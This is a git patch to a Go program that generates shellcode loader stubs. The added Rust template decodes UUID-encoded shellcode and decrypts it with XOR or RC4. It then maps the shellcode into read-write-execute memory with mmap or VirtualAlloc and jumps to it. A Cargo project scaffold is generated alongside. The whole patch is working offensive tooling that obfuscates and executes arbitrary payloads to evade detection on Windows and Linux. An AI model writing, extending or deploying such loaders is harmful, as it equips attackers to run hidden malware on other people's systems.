From 223d860cb20305dcfe71a18167dcac59a9ad6139 Mon Sep 17 00:00:00 2001 From: heqnx Date: Thu, 22 May 2025 17:02:58 +0300 Subject: added rust stubs --- main.go | 200 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 181 insertions(+), 19 deletions(-) (limited to 'main.go') diff --git a/main.go b/main.go index ff71683..1d785b9 100644 --- a/main.go +++ b/main.go @@ -6,6 +6,7 @@ import ( "flag" "fmt" "os" + "path/filepath" "text/template" ) @@ -294,11 +295,137 @@ int main() { } ` +const rustStub = `// rustup target add x86_64-pc-windows-gnu +// cargo build --release --target x86_64-pc-windows-gnu +// +// rustup target add x86_64-unknown-linux-gnu +// cargo build --release --target x86_64-unknown-linux-gnu +#[cfg(windows)] +use winapi::ctypes::c_void; +#[cfg(unix)] +use std::ffi::c_void; +use std::ptr; + +#[cfg(unix)] +use libc::{mmap, MAP_ANON, MAP_PRIVATE, PROT_EXEC, PROT_READ, PROT_WRITE}; + +#[cfg(windows)] +extern crate winapi; + +use uuid::Uuid; + +const ORIGINAL_SHELLCODE_LENGTH: usize = {{ .OrigLen }}; + +const UUIDS: [&str; {{ len .UUIDs }}] = [ +{{- range .UUIDs }} + "{{ . }}", +{{- end }} +]; + +fn parse_uuids() -> Vec { + println!("decoding uuids to shellcode"); + let mut buf = Vec::with_capacity(UUIDS.len() * 16); + for s in UUIDS.iter() { + let u = Uuid::parse_str(s).unwrap(); + buf.extend_from_slice(u.as_bytes()); + } + buf +} + +{{- if .XORKey }} +fn xor_decrypt(data: &mut [u8], key: u8) { + println!("xor decrypting shellcode"); + for b in data.iter_mut() { + *b ^= key; + } +} +{{- end }} + +{{- if .RC4Key }} +fn rc4_crypt(data: &mut [u8], key: &str) { + println!("rc4 decrypting shellcode"); + let mut s: Vec = (0..=255).collect(); + let k: Vec = key.bytes().collect(); + let mut j = 0; + + for i in 0..256 { + j = (j + s[i] as usize + k[i % k.len()] as usize) % 256; + s.swap(i, j); + } + + let mut i = 0; + j = 0; + for byte in data.iter_mut() { + i = (i + 1) % 256; + j = (j + s[i] as usize) % 256; + s.swap(i, j); + let idx = (s[i] as usize + s[j] as usize) % 256; + *byte ^= s[idx]; + } +} +{{- end }} + +fn main() { + let mut shellcode = parse_uuids(); + + {{- if .XORKey }} + xor_decrypt(&mut shellcode, {{ .XORKey }}); + {{- end }} + {{- if .RC4Key }} + rc4_crypt(&mut shellcode, "{{ .RC4Key }}"); + {{- end }} + + println!("decoded shellcode length: {}", ORIGINAL_SHELLCODE_LENGTH); + shellcode.truncate(ORIGINAL_SHELLCODE_LENGTH); + + println!("allocating executable memory"); + + unsafe { + let ptr: *mut c_void; + + #[cfg(unix)] + { + ptr = mmap( + ptr::null_mut(), + shellcode.len(), + PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_PRIVATE | MAP_ANON, + -1, + 0, + ); + } + + #[cfg(windows)] + { + use winapi::um::memoryapi::VirtualAlloc; + use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE}; + + ptr = VirtualAlloc( + ptr::null_mut(), + shellcode.len(), + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE, + ); + } + + if ptr.is_null() { + eprintln!("memory allocation failed"); + return; + } + + println!("executing shellcode"); + ptr::copy_nonoverlapping(shellcode.as_ptr(), ptr as *mut u8, shellcode.len()); + let exec_fn: extern "C" fn() = std::mem::transmute(ptr); + exec_fn(); + } +} +` + func main() { filePath := flag.String("file", "", "path to binary shellcode file") - stubLang := flag.String("stub", "", "stub language to output (c, cwin, py)") + stubLang := flag.String("stub", "", "stub language to output (py, c, cwin, rs)") xorFlag := flag.Bool("xor", false, "enable single-byte xor encoding with random key") - rc4Flag := flag.Bool("rc4", false, "enable rc4 encryption with 16bit random key") + rc4Flag := flag.Bool("rc4", false, "enable rc4 encryption with 16bit random key") flag.Parse() if *filePath == "" { @@ -319,10 +446,10 @@ func main() { data = append(data, make([]byte, pad)...) } - if *xorFlag && *rc4Flag { - fmt.Fprintf(os.Stderr, "[err] cannot use both xor and rc4\n") - os.Exit(1) - } + if *xorFlag && *rc4Flag { + fmt.Fprintf(os.Stderr, "[err] cannot use both xor and rc4\n") + os.Exit(1) + } var rc4Key []byte var xorKey byte = 0 @@ -341,18 +468,18 @@ func main() { data[i] ^= xorKey } } else if *rc4Flag { - var err error - rc4Key, err = generateRC4Key() - if err != nil { - fmt.Fprintf(os.Stderr, "[err] failed to generate rc4 key: %v\n", err) - os.Exit(1) - } - fmt.Printf("[inf] using rc4 key: %s\n", string(rc4Key)) - data, err = rc4Encrypt(data, rc4Key) - if err != nil { - fmt.Fprintf(os.Stderr, "[err] rc4 encryption failed: %v\n", err) - os.Exit(1) - } + var err error + rc4Key, err = generateRC4Key() + if err != nil { + fmt.Fprintf(os.Stderr, "[err] failed to generate rc4 key: %v\n", err) + os.Exit(1) + } + fmt.Printf("[inf] using rc4 key: %s\n", string(rc4Key)) + data, err = rc4Encrypt(data, rc4Key) + if err != nil { + fmt.Fprintf(os.Stderr, "[err] rc4 encryption failed: %v\n", err) + os.Exit(1) + } } var uuids []string @@ -377,6 +504,42 @@ func main() { case "cwin": stubContent = cWinStub fileName = "stub.c" + case "rs": + stubContent = rustStub + baseDir := "stub" + srcDir := filepath.Join(baseDir, "src") + err = os.MkdirAll(srcDir, 0755) + if err != nil { + fmt.Fprintf(os.Stderr, "[err] failed to create directories: %v\n", err) + os.Exit(1) + } + + cargoToml := `[package] +name = "stub" +version = "0.0.1" +edition = "2024" + +[dependencies] +uuid = "1.3" +libc = "0.2" + +[target.'cfg(windows)'.dependencies] +winapi = { version = "0.3", features = ["memoryapi", "winnt"] } +` + err = os.WriteFile(filepath.Join(baseDir, "Cargo.toml"), []byte(cargoToml), 0644) + if err != nil { + fmt.Fprintf(os.Stderr, "[err] failed to write Cargo.toml: %v\n", err) + os.Exit(1) + } + + fileName = filepath.Join(srcDir, "main.rs") + err = renderTemplateToFile(stubContent, uuids, origLen, xorKey, string(rc4Key), fileName) + if err != nil { + fmt.Fprintf(os.Stderr, "[err] failed to write stub.rs: %v\n", err) + os.Exit(1) + } + + fmt.Printf("[inf] rust stub written to %s\n", fileName) default: fmt.Fprintf(os.Stderr, "[err] unsupported stub language\n") os.Exit(1) @@ -462,4 +625,3 @@ func renderTemplateToFile(tmplStr string, uuids []string, origLen int, xorKey by "RC4Key": string(rc4Key), }) } - -- cgit v1.2.3